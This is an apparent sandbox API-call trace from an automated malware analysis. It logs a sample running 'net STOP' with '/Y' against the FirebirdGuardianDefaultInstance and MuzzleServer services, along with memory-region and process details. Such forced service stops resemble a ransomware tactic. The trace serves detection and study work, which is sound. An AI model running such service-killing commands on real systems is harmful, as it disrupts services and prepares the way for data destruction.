GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25fca4 | out: lpSystemTimeAsFileTime=0x25fca4*(dwLowDateTime=0xd88a7e00, dwHighDateTime=0x1d4abdd)) [0039.163] GetCurrentProcessId () returned 0xb10 [0039.163] GetCurrentThreadId () returned 0xb14 [0039.163] GetTickCount () returned 0x19f69 [0039.163] QueryPerformanceCounter (in: lpPerformanceCount=0x25fc9c | out: lpPerformanceCount=0x25fc9c*=1811439300000) returned 1 [0039.163] GetModuleHandleA (lpModuleName=0x0) returned 0xe90000 [0039.163] __set_app_type (_Type=0x1) [0039.163] __p__fmode () returned 0x75ed31f4 [0039.163] __p__commode () returned 0x75ed31fc [0039.163] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xe9ffe6) returned 0x0 [0039.163] __getmainargs (in: _Argc=0xea9064, _Argv=0xea906c, _Env=0xea9068, _DoWildCard=0, _StartInfo=0xea9024 | out: _Argc=0xea9064, _Argv=0xea906c, _Env=0xea9068) returned 0 [0039.163] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0039.164] GetConsoleOutputCP () returned 0x1b5 [0039.164] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0xea9080 | out: lpCPInfo=0xea9080) returned 1 [0039.164] SetThreadUILanguage (LangId=0x0) returned 0x409 [0039.167] sprintf_s (in: _DstBuf=0x25fc5c, _DstSize=0xc, _Format=".%u" | out: _DstBuf=".437") returned 4 [0039.168] setlocale (category=0, locale=".437") returned="English_United States.437" [0039.169] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0039.170] GetStdHandle (nStdHandle=0xfffffff4) returned 0xb [0039.170] GetCommandLineW () returned="C:\\Windows\\system32\\net1 STOP FirebirdGuardianDefaultInstance /Y" [0039.170] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x25fa28, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\net1.exe" (normalized: "c:\\windows\\syswow64\\net1.exe")) returned 0x1c [0039.170] _wcsnicmp (_String1="/Y", _String2="/Y", _MaxCount=0x2) returned 0 [0039.170] NetApiBufferAllocate (in: ByteCount=0x10, Buffer=0x25fc2c | out: Buffer=0x25fc2c*=0x671c80) returned 0x0 [0039.170] NetApiBufferAllocate (in: ByteCount=0x10, Buffer=0x25fc2c | out: Buffer=0x25fc2c*=0x671c98) returned 0x0 [0039.170] _fileno (_File=0x75ed2900) returned 0 [0039.170] _setmode (_FileHandle=0, _Mode=16384) returned 16384 [0039.170] _wcsicmp (_String1="accounts", _String2="STOP") returned -18 [0039.170] _wcsicmp (_String1="computer", _String2="STOP") returned -16 [0039.170] _wcsicmp (_String1="config", _String2="STOP") returned -16 [0039.170] _wcsicmp (_String1="continue", _String2="STOP") returned -16 [0039.170] _wcsicmp (_String1="cont", _String2="STOP") returned -16 [0039.170] _wcsicmp (_String1="file", _String2="STOP") returned -13 [0039.170] _wcsicmp (_String1="files", _String2="STOP") returned -13 [0039.170] _wcsicmp (_String1="group", _String2="STOP") returned -12 [0039.170] _wcsicmp (_String1="groups", _String2="STOP") returned -12 [0039.170] _wcsicmp (_String1="help", _String2="STOP") returned -11 [0039.170] _wcsicmp (_String1="helpmsg", _String2="STOP") returned -11 [0039.170] _wcsicmp (_String1="localgroup", _String2="STOP") returned -7 [0039.170] _wcsicmp (_String1="pause", _String2="STOP") returned -3 [0039.170] _wcsicmp (_String1="session", _String2="STOP") returned -15 [0039.171] _wcsicmp (_String1="sessions", _String2="STOP") returned -15 [0039.171] _wcsicmp (_String1="sess", _String2="STOP") returned -15 [0039.171] _wcsicmp (_String1="share", _String2="STOP") returned -12 [0039.171] _wcsicmp (_String1="start", _String2="STOP") returned -14 [0039.171] _wcsicmp (_String1="stats", _String2="STOP") returned -14 [0039.171] _wcsicmp (_String1="statistics", _String2="STOP") returned -14 [0039.171] _wcsicmp (_String1="stop", _String2="STOP") returned 0 [0039.171] _wcsicmp (_String1="accounts", _String2="FirebirdGuardianDefaultInstance") returned -5 [0039.171] _wcsicmp (_String1="computer", _String2="FirebirdGuardianDefaultInstance") returned -3 [0039.171] _wcsicmp (_String1="config", _String2="FirebirdGuardianDefaultInstance") returned -3 [0039.171] _wcsicmp (_String1="continue", _String2="FirebirdGuardianDefaultInstance") returned -3 [0039.171] _wcsicmp (_String1="cont", _String2="FirebirdGuardianDefaultInstance") returned -3 [0039.171] _wcsicmp (_String1="file", _String2="FirebirdGuardianDefaultInstance") returned -6 [0039.171] _wcsicmp (_String1="files", _String2="FirebirdGuardianDefaultInstance") returned -6 [0039.171] _wcsicmp (_String1="group", _String2="FirebirdGuardianDefaultInstance") returned 1 [0039.171] _wcsicmp (_String1="groups", _String2="FirebirdGuardianDefaultInstance") returned 1 [0039.171] _wcsicmp (_String1="help", _String2="FirebirdGuardianDefaultInstance") returned 2 [0039.171] _wcsicmp (_String1="helpmsg", _String2="FirebirdGuardianDefaultInstance") returned 2 [0039.171] _wcsicmp (_String1="localgroup", _String2="FirebirdGuardianDefaultInstance") returned 6 [0039.171] _wcsicmp (_String1="pause", _String2="FirebirdGuardianDefaultInstance") returned 10 [0039.171] _wcsicmp (_String1="session", _String2="FirebirdGuardianDefaultInstance") returned 13 [0039.171] _wcsicmp (_String1="sessions", _String2="FirebirdGuardianDefaultInstance") returned 13 [0039.171] _wcsicmp (_String1="sess", _String2="FirebirdGuardianDefaultInstance") returned 13 [0039.171] _wcsicmp (_String1="share", _String2="FirebirdGuardianDefaultInstance") returned 13 [0039.171] _wcsicmp (_String1="start", _String2="FirebirdGuardianDefaultInstance") returned 13 [0039.171] _wcsicmp (_String1="stats", _String2="FirebirdGuardianDefaultInstance") returned 13 [0039.171] _wcsicmp (_String1="statistics", _String2="FirebirdGuardianDefaultInstance") returned 13 [0039.171] _wcsicmp (_String1="stop", _String2="FirebirdGuardianDefaultInstance") returned 13 [0039.171] _wcsicmp (_String1="time", _String2="FirebirdGuardianDefaultInstance") returned 14 [0039.171] _wcsicmp (_String1="user", _String2="FirebirdGuardianDefaultInstance") returned 15 [0039.171] _wcsicmp (_String1="users", _String2="FirebirdGuardianDefaultInstance") returned 15 [0039.171] _wcsicmp (_String1="msg", _String2="FirebirdGuardianDefaultInstance") returned 7 [0039.171] _wcsicmp (_String1="messenger", _String2="FirebirdGuardianDefaultInstance") returned 7 [0039.171] _wcsicmp (_String1="receiver", _String2="FirebirdGuardianDefaultInstance") returned 12 [0039.171] _wcsicmp (_String1="rcv", _String2="FirebirdGuardianDefaultInstance") returned 12 [0039.172] _wcsicmp (_String1="netpopup", _String2="FirebirdGuardianDefaultInstance") returned 8 [0039.172] _wcsicmp (_String1="redirector", _String2="FirebirdGuardianDefaultInstance") returned 12 [0039.172] _wcsicmp (_String1="redir", _String2="FirebirdGuardianDefaultInstance") returned 12 [0039.172] _wcsicmp (_String1="rdr", _String2="FirebirdGuardianDefaultInstance") returned 12 [0039.172] _wcsicmp (_String1="workstation", _String2="FirebirdGuardianDefaultInstance") returned 17 [0039.172] _wcsicmp (_String1="work", _String2="FirebirdGuardianDefaultInstance") returned 17 [0039.172] _wcsicmp (_String1="wksta", _String2="FirebirdGuardianDefaultInstance") returned 17 [0039.172] _wcsicmp (_String1="prdr", _String2="FirebirdGuardianDefaultInstance") returned 10 [0039.172] _wcsicmp (_String1="devrdr", _String2="FirebirdGuardianDefaultInstance") returned -2 [0039.172] _wcsicmp (_String1="lanmanworkstation", _String2="FirebirdGuardianDefaultInstance") returned 6 [0039.172] _wcsicmp (_String1="server", _String2="FirebirdGuardianDefaultInstance") returned 13 [0039.172] _wcsicmp (_String1="svr", _String2="FirebirdGuardianDefaultInstance") returned 13 [0039.172] _wcsicmp (_String1="srv", _String2="FirebirdGuardianDefaultInstance") returned 13 [0039.172] _wcsicmp (_String1="lanmanserver", _String2="FirebirdGuardianDefaultInstance") returned 6 [0039.172] _wcsicmp (_String1="alerter", _String2="FirebirdGuardianDefaultInstance") returned -5 [0039.172] _wcsicmp (_String1="netlogon", _String2="FirebirdGuardianDefaultInstance") returned 8 [0039.172] _wcsupr (in: _String="FirebirdGuardianDefaultInstance" | out: _String="FIREBIRDGUARDIANDEFAULTINSTANCE") returned="FIREBIRDGUARDIANDEFAULTINSTANCE" [0039.172] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x80000000) returned 0x675508 [0039.176] GetServiceKeyNameW (in: hSCManager=0x675508, lpDisplayName="FIREBIRDGUARDIANDEFAULTINSTANCE", lpServiceName=0xeaaaf0, lpcchBuffer=0x25fbc8 | out: lpServiceName="", lpcchBuffer=0x25fbc8) returned 0 [0039.177] _wcsicmp (_String1="msg", _String2="FIREBIRDGUARDIANDEFAULTINSTANCE") returned 7 [0039.177] _wcsicmp (_String1="messenger", _String2="FIREBIRDGUARDIANDEFAULTINSTANCE") returned 7 [0039.177] _wcsicmp (_String1="receiver", _String2="FIREBIRDGUARDIANDEFAULTINSTANCE") returned 12 [0039.177] _wcsicmp (_String1="rcv", _String2="FIREBIRDGUARDIANDEFAULTINSTANCE") returned 12 [0039.177] _wcsicmp (_String1="redirector", _String2="FIREBIRDGUARDIANDEFAULTINSTANCE") returned 12 [0039.177] _wcsicmp (_String1="redir", _String2="FIREBIRDGUARDIANDEFAULTINSTANCE") returned 12 [0039.177] _wcsicmp (_String1="rdr", _String2="FIREBIRDGUARDIANDEFAULTINSTANCE") returned 12 [0039.177] _wcsicmp (_String1="workstation", _String2="FIREBIRDGUARDIANDEFAULTINSTANCE") returned 17 [0039.177] _wcsicmp (_String1="work", _String2="FIREBIRDGUARDIANDEFAULTINSTANCE") returned 17 [0039.177] _wcsicmp (_String1="wksta", _String2="FIREBIRDGUARDIANDEFAULTINSTANCE") returned 17 [0039.177] _wcsicmp (_String1="prdr", _String2="FIREBIRDGUARDIANDEFAULTINSTANCE") returned 10 [0039.177] _wcsicmp (_String1="devrdr", _String2="FIREBIRDGUARDIANDEFAULTINSTANCE") returned -2 [0039.177] _wcsicmp (_String1="lanmanworkstation", _String2="FIREBIRDGUARDIANDEFAULTINSTANCE") returned 6 [0039.177] _wcsicmp (_String1="server", _String2="FIREBIRDGUARDIANDEFAULTINSTANCE") returned 13 [0039.177] _wcsicmp (_String1="svr", _String2="FIREBIRDGUARDIANDEFAULTINSTANCE") returned 13 [0039.177] _wcsicmp (_String1="srv", _String2="FIREBIRDGUARDIANDEFAULTINSTANCE") returned 13 [0039.177] _wcsicmp (_String1="lanmanserver", _String2="FIREBIRDGUARDIANDEFAULTINSTANCE") returned 6 [0039.177] _wcsicmp (_String1="alerter", _String2="FIREBIRDGUARDIANDEFAULTINSTANCE") returned -5 [0039.177] _wcsicmp (_String1="netlogon", _String2="FIREBIRDGUARDIANDEFAULTINSTANCE") returned 8 [0039.177] NetServiceControl (in: servername=0x0, service="FIREBIRDGUARDIANDEFAULTINSTANCE", opcode=0x0, arg=0x0, bufptr=0x25fbc4 | out: bufptr=0x25fbc4) returned 0x889 [0039.178] wcscpy_s (in: _Destination=0xeaa4e8, _SizeInWords=0x104, _Source="NETMSG" | out: _Destination="NETMSG") returned 0x0 [0039.178] LoadLibraryW (lpLibFileName="NETMSG") returned 0x75130000 [0039.179] FormatMessageW (in: dwFlags=0x2a00, lpSource=0x75130000, dwMessageId=0x889, dwLanguageId=0x0, lpBuffer=0xeab338, nSize=0x800, Arguments=0xea9dd8 | out: lpBuffer="The service name is invalid.\r\n") returned 0x1e [0039.180] GetFileType (hFile=0xb) returned 0x2 [0039.180] GetConsoleMode (in: hConsoleHandle=0xb, lpMode=0x25fae4 | out: lpMode=0x25fae4) returned 1 [0039.181] WriteConsoleW (in: hConsoleOutput=0xb, lpBuffer=0xeab338*, nNumberOfCharsToWrite=0x1e, lpNumberOfCharsWritten=0x25fb04, lpReserved=0x0 | out: lpBuffer=0xeab338*, lpNumberOfCharsWritten=0x25fb04*=0x1e) returned 1 [0039.181] GetFileType (hFile=0xb) returned 0x2 [0039.181] GetConsoleMode (in: hConsoleHandle=0xb, lpMode=0x25fae4 | out: lpMode=0x25fae4) returned 1 [0039.181] WriteConsoleW (in: hConsoleOutput=0xb, lpBuffer=0xe916cc*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x25fb04, lpReserved=0x0 | out: lpBuffer=0xe916cc*, lpNumberOfCharsWritten=0x25fb04*=0x2) returned 1 [0039.182] _ultow (in: _Dest=0x889, _Radix=2489140 | out: _Dest=0x889) returned="2185" [0039.182] FormatMessageW (in: dwFlags=0x2800, lpSource=0x75130000, dwMessageId=0xdba, dwLanguageId=0x0, lpBuffer=0xeab338, nSize=0x800, Arguments=0xea9dd8 | out: lpBuffer="More help is available by typing NET HELPMSG 2185.\r\n") returned 0x34 [0039.182] GetFileType (hFile=0xb) returned 0x2 [0039.182] GetConsoleMode (in: hConsoleHandle=0xb, lpMode=0x25faf0 | out: lpMode=0x25faf0) returned 1 [0039.182] WriteConsoleW (in: hConsoleOutput=0xb, lpBuffer=0xeab338*, nNumberOfCharsToWrite=0x34, lpNumberOfCharsWritten=0x25fb10, lpReserved=0x0 | out: lpBuffer=0xeab338*, lpNumberOfCharsWritten=0x25fb10*=0x34) returned 1 [0039.183] GetFileType (hFile=0xb) returned 0x2 [0039.183] GetConsoleMode (in: hConsoleHandle=0xb, lpMode=0x25faf0 | out: lpMode=0x25faf0) returned 1 [0039.183] WriteConsoleW (in: hConsoleOutput=0xb, lpBuffer=0xe916cc*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x25fb10, lpReserved=0x0 | out: lpBuffer=0xe916cc*, lpNumberOfCharsWritten=0x25fb10*=0x2) returned 1 [0039.184] NetApiBufferFree (Buffer=0x671c80) returned 0x0 [0039.184] NetApiBufferFree (Buffer=0x671c98) returned 0x0 [0039.184] GetCommandLineW () returned="C:\\Windows\\system32\\net1 STOP FirebirdGuardianDefaultInstance /Y" [0039.184] exit (_Code=2) Process: id = "23" image_name = "cmd.exe" filename = "c:\\windows\\syswow64\\cmd.exe" page_root = "0x4c9d2000" os_pid = "0xb18" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0x948" cmd_line = "C:\\Windows\\system32\\cmd.exe /c NET STOP MuzzleServer /Y" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000ea88" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 1247 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 1248 start_va = 0x30000 end_va = 0x31fff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 1249 start_va = 0x40000 end_va = 0x40fff entry_point = 0x40000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 1250 start_va = 0x50000 end_va = 0x53fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000050000" filename = "" Region: id = 1251 start_va = 0x60000 end_va = 0x60fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000060000" filename = "" Region: id = 1252 start_va = 0xd0000 end_va = 0x10ffff entry_point = 0x0 region_type = private name = "private_0x00000000000d0000" filename = "" Region: id = 1253 start_va = 0x230000 end_va = 0x32ffff entry_point = 0x0 region_type = private name = "private_0x0000000000230000" filename = "" Region: id = 1254 start_va = 0x4a610000 end_va = 0x4a65bfff entry_point = 0x4a610000 region_type = mapped_file name = "cmd.exe" filename = "\\Windows\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe") Region: id = 1255 start_va = 0x77670000 end_va = 0x77818fff entry_point = 0x77670000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 1256 start_va = 0x77850000 end_va = 0x779cffff entry_point = 0x77850000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 1257 start_va = 0x7efb0000 end_va = 0x7efd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efb0000" filename = "" Region: id = 1258 start_va = 0x7efdb000 end_va = 0x7efddfff entry_point = 0x0 region_type = private name = "private_0x000000007efdb000" filename = "" Region: id = 1259 start_va = 0x7efde000 end_va = 0x7efdefff entry_point = 0x0 region_type = private name = "private_0x000000007efde000" filename = "" Region: id = 1260 start_va = 0x7efdf000 end_va = 0x7efdffff entry_point = 0x0 region_type = private name = "private_0x000000007efdf000" filename = "" Region: id = 1261 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 1262 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 1263 start_va = 0x7fff0000 end_va = 0x7fffffeffff entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 1264 start_va = 0x180000 end_va = 0x1fffff entry_point = 0x0 region_type = private name = "private_0x0000000000180000" filename = "" Region: id = 1265 start_va = 0x74d90000 end_va = 0x74d97fff entry_point = 0x74d90000 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 1266 start_va = 0x74da0000 end_va = 0x74dfbfff entry_point = 0x74da0000 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 1267 start_va = 0x74e00000 end_va = 0x74e3efff entry_point = 0x74e00000 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 1268 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 1269 start_va = 0x20000 end_va = 0x2ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 1270 start_va = 0x110000 end_va = 0x176fff entry_point = 0x110000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 1271 start_va = 0x3a0000 end_va = 0x49ffff entry_point = 0x0 region_type = private name = "private_0x00000000003a0000" filename = "" Region: id = 1272 start_va = 0x5d0000 end_va = 0x5dffff entry_point = 0x0 region_type = private name = "private_0x00000000005d0000" filename = "" Region: id = 1273 start_va = 0x75260000 end_va = 0x75266fff entry_point = 0x75260000 region_type = mapped_file name = "winbrand.dll" filename = "\\Windows\\SysWOW64\\winbrand.dll" (normalized: "c:\\windows\\syswow64\\winbrand.dll") Region: id = 1274 start_va = 0x753a0000 end_va = 0x753abfff entry_point = 0x753a0000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 1275 start_va = 0x753b0000 end_va = 0x7540ffff entry_point = 0x753b0000 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 1276 start_va = 0x75410000 end_va = 0x754acfff entry_point = 0x75410000 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\SysWOW64\\usp10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll") Region: id = 1277 start_va = 0x756f0000 end_va = 0x757effff entry_point = 0x756f0000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 1278 start_va = 0x75a20000 end_va = 0x75b2ffff entry_point = 0x75a20000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 1279 start_va = 0x75b30000 end_va = 0x75bcffff entry_point = 0x75b30000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 1280 start_va = 0x75e30000 end_va = 0x75edbfff entry_point = 0x75e30000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 1281 start_va = 0x762b0000 end_va = 0x762c8fff entry_point = 0x762b0000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 1282 start_va = 0x762d0000 end_va = 0x762d9fff entry_point = 0x762d0000 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\SysWOW64\\lpk.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll") Region: id = 1283 start_va = 0x765f0000 end_va = 0x76635fff entry_point = 0x765f0000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 1284 start_va = 0x772d0000 end_va = 0x773bffff entry_point = 0x772d0000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 1285 start_va = 0x773c0000 end_va = 0x7744ffff entry_point = 0x773c0000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 1286 start_va = 0x77450000 end_va = 0x77549fff entry_point = 0x0 region_type = private name = "private_0x0000000077450000" filename = "" Region: id = 1287 start_va = 0x77550000 end_va = 0x7766efff entry_point = 0x0 region_type = private name = "private_0x0000000077550000" filename = "" Region: id = 1288 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 1289 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 1290 start_va = 0x5e0000 end_va = 0x767fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005e0000" filename = "" Region: id = 1291 start_va = 0x75d40000 end_va = 0x75e0bfff entry_point = 0x75d40000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 1292 start_va = 0x76500000 end_va = 0x7655ffff entry_point = 0x76500000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 1293 start_va = 0x30000 end_va = 0x36fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 1294 start_va = 0x70000 end_va = 0x71fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000070000" filename = "" Region: id = 1295 start_va = 0x80000 end_va = 0x80fff entry_point = 0x0 region_type = private name = "private_0x0000000000080000" filename = "" Region: id = 1296 start_va = 0x90000 end_va = 0x90fff entry_point = 0x0 region_type = private name = "private_0x0000000000090000" filename = "" Region: id = 1297 start_va = 0x770000 end_va = 0x8f0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000770000" filename = "" Region: id = 1298 start_va = 0x900000 end_va = 0x1cfffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000900000" filename = "" Region: id = 1299 start_va = 0x1d00000 end_va = 0x2042fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001d00000" filename = "" Region: id = 1300 start_va = 0x2050000 end_va = 0x231efff entry_point = 0x2050000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Thread: id = 24 os_tid = 0xb1c [0039.356] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x32fc34 | out: lpSystemTimeAsFileTime=0x32fc34*(dwLowDateTime=0xd8a70e80, dwHighDateTime=0x1d4abdd)) [0039.356] GetCurrentProcessId () returned 0xb18 [0039.356] GetCurrentThreadId () returned 0xb1c [0039.356] GetTickCount () returned 0x1a025 [0039.356] QueryPerformanceCounter (in: lpPerformanceCount=0x32fc2c | out: lpPerformanceCount=0x32fc2c*=1811458600000) returned 1 [0039.358] GetModuleHandleA (lpModuleName=0x0) returned 0x4a610000 [0039.358] __set_app_type (_Type=0x1) [0039.358] __p__fmode () returned 0x75ed31f4 [0039.358] __p__commode () returned 0x75ed31fc [0039.358] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4a6321a6) returned 0x0 [0039.358] __getmainargs (in: _Argc=0x4a634238, _Argv=0x4a634240, _Env=0x4a63423c, _DoWildCard=0, _StartInfo=0x4a634140 | out: _Argc=0x4a634238, _Argv=0x4a634240, _Env=0x4a63423c) returned 0 [0039.358] GetCurrentThreadId () returned 0xb1c [0039.358] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0xb1c) returned 0x60 [0039.358] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75a20000 [0039.358] GetProcAddress (hModule=0x75a20000, lpProcName="SetThreadUILanguage") returned 0x75a4a84f [0039.359] SetThreadUILanguage (LangId=0x0) returned 0x409 [0039.359] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0039.359] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x32fbc4 | out: phkResult=0x32fbc4*=0x0) returned 0x2 [0039.359] VirtualQuery (in: lpAddress=0x32fbfb, lpBuffer=0x32fb94, dwLength=0x1c | out: lpBuffer=0x32fb94*(BaseAddress=0x32f000, AllocationBase=0x230000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0039.359] VirtualQuery (in: lpAddress=0x230000, lpBuffer=0x32fb94, dwLength=0x1c | out: lpBuffer=0x32fb94*(BaseAddress=0x230000, AllocationBase=0x230000, AllocationProtect=0x4, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000)) returned 0x1c [0039.359] VirtualQuery (in: lpAddress=0x231000, lpBuffer=0x32fb94, dwLength=0x1c | out: lpBuffer=0x32fb94*(BaseAddress=0x231000, AllocationBase=0x230000, AllocationProtect=0x4, RegionSize=0x2000, State=0x1000, Protect=0x104, Type=0x20000)) returned 0x1c [0039.359] VirtualQuery (in: lpAddress=0x233000, lpBuffer=0x32fb94, dwLength=0x1c | out: lpBuffer=0x32fb94*(BaseAddress=0x233000, AllocationBase=0x230000, AllocationProtect=0x4, RegionSize=0xfd000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0039.359] VirtualQuery (in: lpAddress=0x330000, lpBuffer=0x32fb94, dwLength=0x1c | out: lpBuffer=0x32fb94*(BaseAddress=0x330000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x70000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c [0039.359] GetConsoleOutputCP () returned 0x1b5 [0039.360] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a634260 | out: lpCPInfo=0x4a634260) returned 1 [0039.360] SetConsoleCtrlHandler (HandlerRoutine=0x4a62e72a, Add=1) returned 1 [0039.360] _get_osfhandle (_FileHandle=1) returned 0x7 [0039.360] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x0) returned 1 [0039.360] _get_osfhandle (_FileHandle=1) returned 0x7 [0039.360] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6341ac | out: lpMode=0x4a6341ac) returned 1 [0039.360] _get_osfhandle (_FileHandle=1) returned 0x7 [0039.360] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0039.361] _get_osfhandle (_FileHandle=0) returned 0x3 [0039.361] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6341b0 | out: lpMode=0x4a6341b0) returned 1 [0039.361] _get_osfhandle (_FileHandle=0) returned 0x3 [0039.361] SetConsoleMode (hConsoleHandle=0x3, dwMode=0x1a7) returned 1 [0039.361] GetEnvironmentStringsW () returned 0x3b2b18* [0039.362] FreeEnvironmentStringsW (penv=0x3b2b18) returned 1 [0039.362] GetEnvironmentStringsW () returned 0x3b2b18* [0039.362] FreeEnvironmentStringsW (penv=0x3b2b18) returned 1 [0039.362] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x32eb34 | out: phkResult=0x32eb34*=0x6c) returned 0x0 [0039.362] RegQueryValueExW (in: hKey=0x6c, 